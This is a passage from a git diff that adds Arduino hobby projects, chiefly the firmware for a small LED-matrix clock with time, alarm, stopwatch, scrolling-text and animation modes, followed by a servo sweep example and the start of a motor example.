break; + + case 4: // Date + // checkDate(); + displayDate(); + delay(100); + break; + + case 5: // Year + + break; + + case 99: // Exit Display Time + + NextState(); + clearmatrix(); + + break; + } +} + +//******************************************************************************************************************* +// SET Time Routine +//******************************************************************************************************************* +void setTimeSub() +{ + + + switch (SUBSTATE) + { + case 0: // Start SET Time + clearmatrix(); + displayString("Set?"); + SUBSTATE = 1; + NextSUBStateRequest = false; + + + break; + + case 1: // Ask user if they want to set time + if(NextSUBStateRequest) + { + SUBSTATE = 2; + NextSUBStateRequest = false; + blinkFlag = true; + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + + break; + + case 2: // Minute + one + // displayString("----"); + blinkMin = true; + writeTime(HourTens, HourOnes, MinTens, MinOnes); + if(NextSUBStateRequest) + { + settimeNEW(1); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + blinkMin = false; + SUBSTATE =3; + NextStateRequest = false; + } + break; + + case 3: // Hours + one + blinkHour = true; + writeTime(HourTens, HourOnes, MinTens, MinOnes); + if(NextSUBStateRequest) + { + settimeNEW(2); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + blinkHour = false; + SUBSTATE =4; + NextStateRequest = false; + } + + break; + + case 4: // Day + one + displayStringDay(Days -1); + if(NextSUBStateRequest) + { + settimeNEW(3); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + SUBSTATE =5; + NextStateRequest = false; + } + + break; + + case 5: // Month + one + displayMonth(MonthCode-1); + if(NextSUBStateRequest) + { + settimeNEW(4); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + SUBSTATE =6; + NextStateRequest = false; + } + break; + + case 6: // Date + one + displayDate(); + if(NextSUBStateRequest) + { + settimeNEW(5); + NextSUBStateRequest = false; + } + if(NextStateRequest) + { + SUBSTATE =8; + NextStateRequest = false; + } + break; + + /* + case 7: // Year + one ** NOTE: not used + displayString("Year"); + + if(NextSUBStateRequest) + { + settimeNEW(6); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + SUBSTATE =8; + NextStateRequest = false; + } + break; + */ + + case 8: + NewTimeFormate = TH_Not24_flag; // Pre-set before toggle + SUBSTATE =9; + break; + + + case 9: // Select 12 or 24 hour clock + + if(NewTimeFormate) + { + displayString("12 h"); + } + else + { + displayString("24 h"); + } + + if(NextSUBStateRequest) + { + NewTimeFormate = !NewTimeFormate; + NextSUBStateRequest = false; + TwelveTwentyFourConvert(); + A_TH_Not24_flag = NewTimeFormate; + } + + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + + break; + + case 99: // Exit Set Time + blinkFlag = false; + NextState(); + clearmatrix(); + + break; + } +} + +//******************************************************************************************************************* +// SET Alarm Routine +//******************************************************************************************************************* +void setAlarmSub() +{ + + + switch (SUBSTATE) + { + case 0: // Start SET Alarm + clearmatrix(); + displayString("ALM?"); + SUBSTATE = 1; + NextSUBStateRequest = false; + + + break; + + case 1: // Ask user if they want to set Alarm + if(NextSUBStateRequest) + { + // displayString("A ON"); + // delay(250); + // ALARMON = true; + SUBSTATE = 2; + NextSUBStateRequest = false; + blinkFlag = true; + } + + if(NextStateRequest) + { + // displayString("AOFF"); + // delay(500); + // EnableAlarm1(false); + // ALARMON = false; + SUBSTATE =99; + NextStateRequest = false; + } + + break; + + case 2: + blinkMin = true; + writeTime(AHourTens, AHourOnes, AMinTens, AMinOnes); + if(NextSUBStateRequest) + { + setAlarm(1); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + blinkMin = false; + SUBSTATE =3; + NextStateRequest = false; + } + break; + + case 3: + blinkHour = true; + writeTime(AHourTens, AHourOnes, AMinTens, AMinOnes); + if(NextSUBStateRequest) + { + setAlarm(2); + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + blinkMin = false; + SUBSTATE =4; + NextStateRequest = false; + // EnableAlarm1(true); + } + break; + + case 4: + if(ALARMON) + { +// displayString("A ON"); + displayGraphic(1,0,5); + displayGraphic(2,5,5); + displayGraphic(0,10,4); + displayGraphic(3,14,5); + } + else + { +// displayString("AOFF"); + displayGraphic(1,0,5); + displayGraphic(2,5,5); + displayGraphic(0,10,4); + displayGraphic(4,14,5); + } + + if(NextSUBStateRequest) + { + ALARMON = !ALARMON; + NextSUBStateRequest = false; + } + + + if(NextStateRequest) + { + blinkMin = false; + SUBSTATE =99; + NextStateRequest = false; + if(ALARMON) + { + EnableAlarm1(true); + } + else + { + EnableAlarm1(false); + } + } + + break; + + case 99: // Exit Set Alarm + blinkFlag = false; + NextState(); + clearmatrix(); + + break; + } +} + +//******************************************************************************************************************* +// Stop Watch +//******************************************************************************************************************* +void StopWatch() +{ + + switch (SUBSTATE) + { + case 0: // Stop Watch Set-up + + + + OldTime = 0; + CurrentTime = 0; + TotalTime = 0; + SWDigit4 = 0; + SWDigit3 = 0; + SWDigit2 = 0; + SWDigit1 = 0; + + blinkON = true; + blinkFlag = false; + blinkMin = false; + blinkHour = false; + + SUBSTATE = 1; + NextSUBStateRequest = false; + displayString("Stop"); + delay(500); + + clearmatrix(); + writeTime(SWDigit4, SWDigit3, SWDigit2, SWDigit1); + + break; + + case 1: // Waiting for "Start" button to be pressed + writeTime(SWDigit4, SWDigit3, SWDigit2, SWDigit1); + + if(NextSUBStateRequest) + { + SUBSTATE = 2; + NextSUBStateRequest = false; + SleepEnable = false; + currentMillis = millis(); + SleepTimer = currentMillis; // Using Long SleepTimer variable for timing not sleep + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + + break; + + case 2: // Stop Watch Running + + // I2C_RX(RTCDS1337,RTC_SEC); + // CurrentTime =i2cData & B00001111; + currentMillis = millis(); + if((currentMillis - SleepTimer) >= 1000) + { + // OldTime = CurrentTime; + SleepTimer = currentMillis; + TotalTime = TotalTime + 1; + if(TotalTime > 5999) // Over 99 minutes can "not" be displayed (60seconds x 99 = 5940) + { + TotalTime = 0; + } + } + + // Convert Total Time to digits + SWMINUTES = TotalTime / 60; + SWSECONDS = TotalTime % 60; + + SWDigit4 = SWMINUTES / 10; + SWDigit3 = SWMINUTES % 10; + SWDigit2 = SWSECONDS / 10; + SWDigit1 = SWSECONDS % 10; + + writeTime(SWDigit4, SWDigit3, SWDigit2, SWDigit1); + + if(NextSUBStateRequest) + { + SUBSTATE = 1; + NextSUBStateRequest = false; + SleepEnable = true; + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + break; + +/* +// Not using this RTC version since it seems too power hungery due to constant I2C polling + case 2: // Stop Watch Running + + I2C_RX(RTCDS1337,RTC_SEC); + CurrentTime =i2cData & B00001111; + if(CurrentTime != OldTime) + { + OldTime = CurrentTime; + TotalTime = TotalTime + 1; + if(TotalTime > 5940) // Over 99 minutes can "not" be displayed (60seconds x 99 = 5940) + { + TotalTime = 0; + } + } + + // Convert Total Time to digits + SWMINUTES = TotalTime / 60; + SWSECONDS = TotalTime % 60; + + SWDigit4 = SWMINUTES / 10; + SWDigit3 = SWMINUTES % 10; + SWDigit2 = SWSECONDS / 10; + SWDigit1 = SWSECONDS % 10; + + writeTime(SWDigit4, SWDigit3, SWDigit2, SWDigit1); + + if(NextSUBStateRequest) + { + SUBSTATE = 1; + NextSUBStateRequest = false; + SleepEnable = true; + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + break; +*/ + case 99: // Exit Stop Watch Function + + NextState(); + clearmatrix(); + + SleepEnable = true; + + break; + } +} + +//******************************************************************************************************************* +// Display Serial Data +//******************************************************************************************************************* + +void DisplaySerialData() +{ + int temp =0; + switch (SUBSTATE) + { + + case 0: // Display Set-up + + ResetScrollMessage(); + + + NextSUBStateRequest = false; + NextStateRequest = false; + OptionModeFlag = false; + displayString("Text"); + delay(250); + + GETFROMEEPROM(); + if(IncomingMessIndex == 0 | IncomingMessIndex > 27) + { + MessagePointer = 0; + SUBSTATE =3; + char Str2[] = "SpikenzieLabs"; + for(int i =0; i <= sizeof(Str2); i ++) // Show default Scrolling message + { + IncomingMessage[i] = Str2[i]; + IncomingMessIndex = i; + } + + } + else + { + MessagePointer= 0; + SUBSTATE = 3; + SleepEnable = true; + } + + break; + + case 1: + if(NextSUBStateRequest) + { + ResetScrollMessage(); + + SUBSTATE = 2; + NextSUBStateRequest = false; + power_usart0_enable(); + Serial.begin(57600); + SleepEnable = false; + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + break; + + // break; + + case 2: // Receive Serial + + clearmatrix(); + // LED MATRIX + // + // Port C: C0 to C3 set to high. Columns 17 to 20 of LED matrix - Cathode connection + PORTC = (PORTC & B11110000) | B00001111; + // Port B: Unselect the MUX chip + PORTB = (1<0) + { + MessageRead = Serial.read(); + + if(IncomingMessIndex<24) + { + IncomingMessage[IncomingMessIndex] = MessageRead; + // IncomingMessIndex = IncomingMessIndex + 1; + IncomingMessIndex++; + // IncomingMessage[IncomingMessIndex] = '\0'; + Serial.print(MessageRead); + } + } + + bval = !digitalRead(SETBUTTON); + if(!bval) + { + goto shortloop; + } + else + + { + Timer1.attachInterrupt(LEDupdateTWO); + + while(bval) + { + bval = !digitalRead(SETBUTTON); + } + delay(100); + } + + if(IncomingMessIndex == 0) + { + SUBSTATE = 99; + } + else + { + SUBSTATE = 3; + FILLEEPROM(); + OptionModeFlag = false; + + + } + SleepTimer = millis(); + SleepEnable = true; + Serial.end(); + power_usart0_disable(); + + break; + + case 3: + + for(int i = 0;i<=IncomingMessIndex-1;i ++) + { + TEXT = IncomingMessage[i]-32; + for(int y =0;y<5;y++) + { + Message[MessagePointer] = LETTERS[TEXT][y]; + MessagePointer = MessagePointer +1; + } + + Message[MessagePointer] = 0; // One space between words + MessagePointer = MessagePointer +1; + IncomingMax = MessagePointer; + } + + + for(int i = 0;i<20;i ++) // 20 spaces between phrases + { + Message[MessagePointer] = 0; + MessagePointer = MessagePointer +1; + IncomingMax = MessagePointer; + } + + SUBSTATE = 4; + ScrollLoops = 3; + SleepEnable = true; + + + break; + + // ================================================================================================== + + case 4: + + scrollCounter = scrollCounter +1; + if(scrollCounter>scrollSpeed) + { + + if(ScrollLoops > 0) + { + SleepTimer = millis(); + } + + IncomingIndex = StartWindow; + for(int i=0;i<20;i++) + { + LEDMAT[i] = Message[IncomingIndex]; + IncomingIndex = IncomingIndex + 1; + if(IncomingIndex>IncomingMax) + { + IncomingIndex = 0; // Rolled over end of message + // ScrollLoops = ScrollLoops - 1; // Used to extend number of messages to scroll before sleep mode reqctivated + } + } + StartWindow = StartWindow + 1; + if(StartWindow>IncomingMax) + { + StartWindow = 0; + ScrollLoops = ScrollLoops - 1; // Used to extend number of messages to scroll before sleep mode reqctivated + } + + scrollCounter= 0; + } + + if(NextSUBStateRequest) + { + scrollSpeed = scrollSpeed + 50; + if(scrollSpeed>400) + { + scrollSpeed = 100; + } + scrollCounter= 0; + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + + if(OptionModeFlag) + { + SUBSTATE =1; + displayString("NEW?"); + delay(250); + } + break; + + case 99: // Exit Stop Watch Function + + Serial.end(); + power_usart0_disable(); + + NextState(); + clearmatrix(); + + SleepEnable = true; + + break; + } +} + +void ResetScrollMessage() +{ + + IncomingIndex = 0; + IncomingMax = 0; + MessagePointer = 0; + IncomingMessIndex =0; + StartWindow = 0; + IncomingLoaded = 0; + scrollCounter = 0; + + for(int i =0;i<275;i++) + { + Message[i] = 0; + } + + for(int i =0;i<24;i++) + { + IncomingMessage[i] = 0; + } +} + +//******************************************************************************************************************* +// Graphic Animation +//******************************************************************************************************************* +void graphican() +{ + + int temp =0; + // int rand = 0; + switch (SUBSTATE) + { + + case 0: + SUBSTATE =1; + scrollCounter = 0; + scrollSpeed = 200; + // soundeffect = false; + y = 3; + target = 1; + targdist = 0; + displayString("Worm"); + delay(250); + break; + + case 1: + + if(scrollCounter>scrollSpeed) + { + + c= c +1; + if(c>19) + { + c = 0; + } + // -- + + + if(NextSUBStateRequest) + { + target = target +1; + if(target> 3) + { + target = 0; + // targdir = false; + targdist = 0; + + } + NextSUBStateRequest = false; + } + + + if(targdir) + { // Going up + + if(targdist == target) + { + targdir = !targdir; + targdist = - target; + if(soundeffect) + { + beepsound(4000,10); + } + + } + else + { + targdist = targdist +1; + y = 3 - targdist; + } + } + else + { // Going Down + + if(targdist == target) + { + targdir = !targdir; + targdist = - target; + if(soundeffect) + { + beepsound(5000,10); + } + } + else + { + targdist = targdist +1; + y = 3 + targdist; + } + } + + + bitSet(temp, y); + + + // -- + LEDMAT[c] = temp; + if((c-wormlenght)<0) + { + LEDMAT[19-((wormlenght-1)-c)] = 0; + } + else + { + LEDMAT[c-wormlenght] = 0; + } + scrollCounter = 0; + } + + + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + + if(OptionModeFlag) + { + soundeffect = !soundeffect; + } + + scrollCounter = scrollCounter +1; + break; + + + + case 99: // Exit Graphic Function + + NextState(); + clearmatrix(); + + break; + + } +} + +//******************************************************************************************************************* +// LED tester +//******************************************************************************************************************* + +void lamptest() +{ + + int lamptestspeed = 250; + clearmatrix(); + bval = !digitalRead(SETBUTTON); + if(bval) + { + do + { + // clearmatrix(); + for(int i = 0; i<20;i++) + { + for(int y = 0; y<8;y++) + { + bitSet(LEDMAT[i],y); + delay(lamptestspeed / 10); + bval = !digitalRead(SETBUTTON); + if(bval) + { + lamptestspeed = lamptestspeed -1; + if(lamptestspeed== 0) + { + lamptestspeed = 250; + } + } + } + + bval = !digitalRead(MODEBUTTON); + if(bval) + { + break; + } + + delay(lamptestspeed); + LEDMAT[i] = 0; + delay(lamptestspeed / 5); + } + bval = !digitalRead(MODEBUTTON); + } + while(!bval); + } + } + + //******************************************************************************************************************* + // Read Message from EEPROM + //******************************************************************************************************************* + void GETFROMEEPROM() + { + int EEPadd; + IncomingMessIndex = EEPROM.read(0); + for(int EEPadd=1; EEPadd < 26; EEPadd++) + { + IncomingMessage[EEPadd-1] = EEPROM.read(EEPadd); + } + } + +//******************************************************************************************************************* +// Save changed Message to EEPROM +//******************************************************************************************************************* +void FILLEEPROM() // Normally only run once if EEPROM is clear +{ + int EEPadd; + EEPROM.write(0, IncomingMessIndex); // Holds the message lenght + + for(int EEPadd=1; EEPadd < IncomingMessIndex+1; EEPadd++) + { + + EEPROM.write(EEPadd, IncomingMessage[EEPadd-1]); + } + // EEPROM.write(25, 1); // 1 is just a number we selected to show EEPROM was writen +} + + +//******************************************************************************************************************* +// Output 4 Characters to Display +//******************************************************************************************************************* +void displayString(char outText[]) +{ + int cindex = 0; +// for (int i = 0; i < sizeof(Str1) - 1; i++){ + for (int i = 0; i < 4; i++){ + for(int y =0;y<5;y++) + { + TEXT = outText[i]-32; + LEDMAT[cindex] = LETTERS[TEXT][y]; + cindex = cindex +1; + } + } +} + +//******************************************************************************************************************* +// Output Custom Graphic to Display +//******************************************************************************************************************* +void displayGraphic(int index, int pos, int len) +{ + for(int y =0;y0;i--) + { + LEDMAT[i] = LEDMAT[i-1]; + } + LEDMAT[0] = temp; +} +*/ + +//******************************************************************************************************************* +// Clear LED Matrix +//******************************************************************************************************************* + +void clearmatrix() +{ + for(int i =0;i<20;i++) + { + LEDMAT[i] = 0; + } +} + + +//******************************************************************************************************************* +// Output single character to display +//******************************************************************************************************************* + +void filldigit(int dig, int index) // Where dig is 1 to 4 and index is position of character +{ + for(int y =0;y<5;y++) + { + LEDMAT[((dig-1)*5)+y] = LETTERS[index][y]; + } +} + +//******************************************************************************************************************* +// Fill LED Matrix with formatted time +//******************************************************************************************************************* +// Fills diplay with formated time +// Depending on postion of "1"s spacing is adjusted beween it and next digit +// Blinks if it settng mode +// displays AM/PM dot and Alarm on dot + +void writeTime(uint8_t dig1, uint8_t dig2, uint8_t dig3, uint8_t dig4) +{ + int currentdig = 4; + int y = 0; + int i = 18; + LEDMAT[19] = 0; +// LEDMAT[0] = 0; + + for( y =5;y>1;y--) + { + if(blinkON && (blinkMin)) + { + LEDMAT[i] = LETTERS[0][y-2]; // blank space + } + else + { + LEDMAT[i] = LETTERS[dig4+digitoffset][y-2]; + } + i = i -1; + } + // } + + if(dig3 == 1) // Special case of #1, smaller kerning + { + LEDMAT[i] = 0; + if(blinkON && (blinkMin)) + { + LEDMAT[i-1] = 0; // blank space + } + else + { + LEDMAT[i-1] = 62; //LETTERS[dig3+digitoffset][3]; + } + LEDMAT[i-2] = 0; + i = i -3; + currentdig = 2; + } + else + { + for( y =5;y>1;y--) + { + if(blinkON && (blinkMin)) + { + LEDMAT[i] = LETTERS[0][y-2]; // blank space + } + else + { + LEDMAT[i] = LETTERS[dig3+digitoffset][y-2]; + } + i = i -1; + } + currentdig = 2; + } + // ADD Colon Here - S --------------------------------- + if((dig2 == 1) || (dig1 == 3)) + { + LEDMAT[i] = 0; + + LEDMAT[i-1] = 20; //LETTERS[26][3]; // the " : " + + LEDMAT[i-2] = 0; + i=i-3; + } + else + { + LEDMAT[i] = 20; //LETTERS[26][3]; // the " :" + LEDMAT[i-1] = 0; + i=i-2; + } + // ADD Colon Here - E --------------------------------- + + if(dig2 == 1) // Special case of #1, smaller kerning + { + LEDMAT[i] = 0; + if(blinkON && (blinkHour)) + { + LEDMAT[i-1] = 0; // blank space + } + else + { + LEDMAT[i-1] = 62; //LETTERS[dig2+digitoffset][3]; + } + LEDMAT[i-2] = 0; + i = i -3; + currentdig = 1; + } + else + { + for( y =5;y>1;y--) + { + if(blinkON && (blinkHour)) + { + LEDMAT[i] = LETTERS[0][y-2]; // blank space + } + else + { + LEDMAT[i] = LETTERS[dig2+digitoffset][y-2]; + } + i = i -1; + } + currentdig = 1; + } + + if(dig1 == 1) // Special case of #1, smaller kerning + { + LEDMAT[i] = 0; + if(blinkON && (blinkHour)) + { + LEDMAT[i-1] = 0; // blank space + } + else + { + LEDMAT[i-1] = 62; // LETTERS[dig1+digitoffset][3]; + } + LEDMAT[i-2] = 0; + i = i -2; + } + else + { + for( y =5;y>1;y--) + { + if(blinkON && (blinkHour)) + { + LEDMAT[i] = LETTERS[0][y-2]; // blank space + } + else + { + LEDMAT[i] = LETTERS[dig1+digitoffset][y-2]; + } + i = i -1; + } + // i = 0; + } + +// for(y= i+1; y>0;y--) // Clear any remaining columns + for(y= i+1; y>1;y--) // Clear any remaining columns, but not leftmost + { + LEDMAT[y-1] = 0; + } + +// LEDMAT[0] = 0; + AMPMALARMDOTS = 0; + + if(ALARMON && (STATE == 1)) // Alarm dot (top left) Do not display while setting alarm + { +// bitSet(LEDMAT[0],6); + bitSet(AMPMALARMDOTS,6); + } + + if(PM_NotAM_flag && (STATE == 1 | STATE == 2) && TH_Not24_flag) // AM / PM dot (bottom left) (Display or Set Time) + { +// bitSet(LEDMAT[0],0); + bitSet(AMPMALARMDOTS,0); + } + + if(A_PM_NotAM_flag && (STATE == 3) && TH_Not24_flag) // AM / PM dot (bottom left) (Set Alarm Time) + { +// bitSet(LEDMAT[0],0); + bitSet(AMPMALARMDOTS,0); + } + + LEDMAT[0] = AMPMALARMDOTS; + +} diff --git a/Projects/ST_Two_Small_Clock/ST2_Setup/ST2_Setup.ino b/Projects/ST_Two_Small_Clock/ST2_Setup/ST2_Setup.ino new file mode 100644 index 0000000..bce3851 --- /dev/null +++ b/Projects/ST_Two_Small_Clock/ST2_Setup/ST2_Setup.ino @@ -0,0 +1,112 @@ +//******************************************************************************************************************* +// Setup +//******************************************************************************************************************* +void setup() +{ + + // Rows Digital pin 0 to 7 + // pinMode(0, OUTPUT); // Not used + // pinMode(1, OUTPUT); // Not used + + // User interface Button Pins + /* + digitalWrite(2, HIGH); // Write a high to pin, acts as weak pull-up + digitalWrite(3, HIGH); + pinMode(2, INPUT); + pinMode(3, INPUT); + */ + + #if ARDUINO >= 101 + pinMode(2, INPUT_PULLUP); + pinMode(3, INPUT_PULLUP); + digitalWrite(2, HIGH); // Write a high to pin, acts as weak pull-up + digitalWrite(3, HIGH); + #else + digitalWrite(2, HIGH); // Write a high to pin, acts as weak pull-up + digitalWrite(3, HIGH); + pinMode(2, INPUT); + pinMode(3, INPUT); + #endif + + // Column address bits 4 to 16 decode + pinMode(4, OUTPUT); // DeMux A + pinMode(5, OUTPUT); // DeMux B + pinMode(6, OUTPUT); // DeMux C + pinMode(7, OUTPUT); // DeMux D + + /* + // + pinMode(8, OUTPUT); // ROW 1 + pinMode(9, OUTPUT); // ROW 2 + pinMode(10, OUTPUT); // ROW 3 + pinMode(11, OUTPUT); // ROW 4 + pinMode(12, OUTPUT); // ROW 5 + pinMode(13, OUTPUT); // ROW 6 + + // Make these pins outputs (Was the crystal Pins) B6 = Row 7, B7 = demux select + DDRB = (1< +#include + +#include + +#include +#include +#include + +// Worm animation +int c =0; +int y = 3; +int target = 3; +int targdist =0; +boolean targdir = true; +int wormlenght = 15; +boolean soundeffect = false; + +// int i =0; +// int i2 =0; +// int vite = 2; +// uint8_t incro = 0; +// uint8_t column = 0; +uint8_t TEXT = 65; +uint8_t i2cData = 0; +// int nextcounter = 0; + +int STATE = 0; +int SUBSTATE = 0; +int MAXSTATE = 6; +boolean NextStateRequest = false; +boolean NextSUBStateRequest = false; +boolean JustWokeUpFlag = false; +boolean JustWokeUpFlag2= false; +boolean OptionModeFlag = false; + +int ROWBITINDEX = 0; +int scrollCounter =0; +int ScrollLoops = 3; +int scrollSpeed = 300; // was 1200 +int blinkCounter = 0; +boolean blinkFlag = false; +boolean blinkON = true; +boolean blinkHour = false; +boolean blinkMin = false; +#define blinkTime 500 // was 1000 + +boolean displayFLAG = true; + +unsigned long SleepTimer; +unsigned long currentMillis; +unsigned long SleepLimit = 6000; +boolean SleepEnable = true; +int UpdateTime = 0; + +#define BUTTON1 2 +#define MODEBUTTON 2 +#define BUTTON2 3 +#define SETBUTTON 3 +boolean bval = false; + +//char Str1[] = "Hi"; +char IncomingMessage[24]; +char MessageRead; +//uint8_t INBYTE; +uint8_t Message[275]; +int IncomingIndex = 0; +int IncomingMessIndex =0; +int IncomingMax = 0; +int MessagePointer = 0; +int StartWindow = 0; +int IncomingLoaded =0; + + +char days[7][4] = { + "Sun","Mon","Tue","Wed","Thr","Fri","Sat"}; +char months[12][4] = { + "Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"}; + +// Time Variables +uint8_t HourTens = 1; +uint8_t HourOnes = 2; +uint8_t MinTens = 0; +uint8_t MinOnes = 0; +uint8_t SecTens = 0; +uint8_t SecOnes = 0; + +uint8_t Days =1; +uint8_t DateOnes = 1; +uint8_t DateTens =0; +uint8_t MonthOnes =1; +uint8_t MonthTens = 1; +uint8_t YearsOnes = 2; +uint8_t YearsTens = 1; + +uint8_t DayCode =1; +uint8_t MonthCode =1; + + +boolean TH_Not24_flag = true; +boolean PM_NotAM_flag = false; +boolean NewTimeFormate = TH_Not24_flag; +uint8_t AMPMALARMDOTS = 0; + +// Alarm +uint8_t AHourTens = 1; +uint8_t AHourOnes = 2; +uint8_t AMinTens = 0; +uint8_t AMinOnes = 0; + +boolean A_TH_Not24_flag = true; +boolean A_PM_NotAM_flag = false; + +// StopWatch + int OldTime = 0; + int CurrentTime = 0; + int TotalTime = 0; + +uint8_t SWDigit4 = 0; +uint8_t SWDigit3 = 0; +uint8_t SWDigit2 = 0; +uint8_t SWDigit1 = 0; + +int SWMINUTES = 0; +int SWSECONDS = 0; + +int dayIndex = 0; + +//uint8_t SetDigit = 4; +//boolean MODEOVERRIDEFLAG = false; +boolean NextStateFlag = false; +boolean SetTimeFlag = false; +boolean ALARM1FLAG = false; +boolean ALARMON = false; + +boolean scrollDirFlag = false; + + +// +volatile uint8_t Mcolumn = 0; +//volatile uint8_t McolumnTemp = 0; +//volatile uint8_t Mrow = 0; +volatile uint8_t LEDMAT[20]; + +volatile boolean MINUP = false; +volatile boolean MINDOWN = false; +volatile boolean TFH = false; + +const int digitoffset = 95; // 95 // was 16 + + +// Constants +// DS1337+ Address locations +#define RTCDS1337 B01101000 // was B11010000 +#define RTCCONT B00001110 //; Control +#define RTCSTATUS B00001111 //; Status + +//#define RTC_HSEC B00000001 //; Hundredth of a secound +#define RTC_SEC B00000000 //; Seconds +#define RTC_MIN B00000001 //; Minuites +#define RTC_HOUR B00000010 //; Hours + +#define RTC_DAY B00000011 //; Day +#define RTC_DATE B00000100 //; Date +#define RTC_MONTH B00000101 //; Month +#define RTC_YEAR B00000110 //; Year + +#define RTC_ALARM1SEC B00000111 //; Seconds +#define RTC_ALARM1MIN B00001000 //; Minuites +#define RTC_ALARM1HOUR B00001001 //; Hours +#define RTC_ALARM1DATE B00001010 //; Date + + +// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +// Bit Map Letter - data array +// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +// const byte LETTERS[95][5] = { +const byte LETTERS[106][5] = { + 0,0,0,0,0, // Space + 0,0,95,0,0, // ! + 0,3,0,3,0, // " + 18,63,18,63,18, // # + 4,42,127,42,16, // $ + 34,21,42,84,34, // % + 54,73,81,34,80, // & + 0,0,3,0,0, // ' + 0,28,34,65,0, // ( + 0,65,34,28,0, // ( + 4,20,15,20,4, // * + 8,8,62,8,8, // + + 0,0,2,1,0, // ' (not sure) + 8,8,8,8,8, // - + 0,0,64,0,0, // . + 32,16,8,4,2, // / + + 62,65,65,65,62, // 0 + 64,66,127,64,64, // 1 + 98,81,73,73,70, // 2 + 34,65,73,73,54, // 3 + 7,8,8,127,8, // 4 + 47,73,73,73,49, // 5 + 62,73,73,73,50, // 6 + 65,33,17,9,7, // 7 + 54,73,73,73,54, // 8 + 6,9,9,9,126, // 9 + + 0,0,54,0,0, // : + 0,64,54,0,0, // ; + 8,20,34,65,0, // < + 20,20,20,20,20, // = + 0,65,34,20,8, // > + 6,1,81,9,6, // ? + 62,65,73,85,10, // @ + + 124,10,9,10,124, // A + 127,73,73,73,54, // B + 62,65,65,65,34, // C + 127,65,65,65,62, // D + 127,73,73,73,65, // E + 127,9,9,9,1, // F + 62,65,73,73,50, // G + 127,8,8,8,127, // H + 0,65,127,65,0, // I was 65,65,127,65,65, + 32,64,65,63,1, // J + 127,8,20,34,65, // K + 127,64,64,64,64, // L + 127,2,4,2,127, // M + 127,4,8,16,127, // N + 62,65,65,65,62, // O + 127,9,9,9,6, // P + 62,65,81,33,94, // Q + 127,9,25,41,70, // R + 38,73,73,73,50, // S + 1,1,127,1,1, // T + 63,64,64,64,63, // U + 31,32,64,32,31, // V + 63,64,48,64,63, // W + 99,20,8,20,99, // X + 3,4,120,4,3, // Y + 97,81,73,69,67, // Z + + 0,127,65,65,0, // [ + 2,4,8,16,32, // back slash + 0,65,65,127,0, // ] + 0,2,1,2,0, // ^ + 128,128,128,128,128, // _ + 0,0,1,2,0, // ` + + 112,72,72,40,120, // a + 126,48,72,72,48, // b + 48,72,72,72,72, // c + 48,72,72,48,126, // d + 56,84,84,84,88, // e + 0,8,124,10,0, // f + 36,74,74,74,60, // g + 126,8,8,8,112, // h + 0,0,122,0,0, // i + 32,64,66,62,2, // j + 124,16,16,40,68, // k + 0,124,64,64,0, // l + 120,4,120,4,120, // m + 124,8,4,4,120, // n + 48,72,72,72,48, // o + 126,18,18,18,12, // p + 12,18,18,18,124, // q + 124,8,4,4,8, // r + 72,84,84,84,36, // s + 4,4,126,4,4, // t + 60,64,64,64,60, // u + 28,32,64,32,28, // v + 124,32,16,32,124, // w + 68,40,16,40,68, // x + 4,8,112,8,4, // y + 68,100,84,76,68, // z + + 0,8,54,65,0, // { + 0,0,127,0,0, // | + 0,65,54,8,0, // } + 16,8,24,16,8, // ~ + + // Small Numbers (for adding colon in clock applications) + 0,62,34,62,0, // 0 + 0,0,62,0,0, // 1 + 0,58,42,46,0, // 2 + 0,42,42,62,0, // 3 + 0,14,8,62,0, // 4 + 0,46,42,58,0, // 5 + 0,62,42,58,0, // 6 + 0,2,2,62,0, // 7 + 0,62,42,62,0, // 8 + 0,14,10,62,0, // 9 + 0,0,20,0,0, // : + + + +}; + +const byte GRAPHIC[5][5] = { + 0,0,0,0,0, + 0,28,62,127,0, // Speaker cone + 34,28,65,34,28, // Sound wave + 16,32,16,8,4, // Check mark + 34,20,8,20,34, // "X" +}; + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Projects/Servo_Sweep/Servo_Sweep.ino b/Projects/Servo_Sweep/Servo_Sweep.ino new file mode 100755 index 0000000..e26fb5a --- /dev/null +++ b/Projects/Servo_Sweep/Servo_Sweep.ino @@ -0,0 +1,29 @@ +// Sweep +// by BARRAGAN + +#include + +Servo myservo; // create servo object to control a servo + // a maximum of eight servo objects can be created + +int pos = 0; // variable to store the servo position + +void setup() +{ + myservo.attach(9); // attaches the servo on pin 9 to the servo object +} + + +void loop() +{ + for(pos = 0; pos < 180; pos += 1) // goes from 0 degrees to 180 degrees + { // in steps of 1 degree + myservo.write(pos); // tell servo to go to position in variable 'pos' + delay(15); // waits 15ms for the servo to reach the position + } + for(pos = 180; pos>=1; pos-=1) // goes from 180 degrees to 0 degrees + { + myservo.write(pos); // tell servo to go to position in variable 'pos' + delay(15); // waits 15ms for the servo to reach the position + } +} diff --git a/Projects/StepMotor/StepMotor.ino b/Projects/StepMotor/StepMotor.ino new file mode 100755 index 0000000..93a2c72 --- /dev/null +++ b/Projects/StepMotor/StepMotor.ino @@ -0,0 +1,93 @@ +/* ----------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-03 .: Spin Motor Spin :. (Transistor and Motor) | + * ----------------------------------------------------------- + * + * The Arduinos pins are great for driving LEDs however if you hook + * up something that requires more power you will quickly break 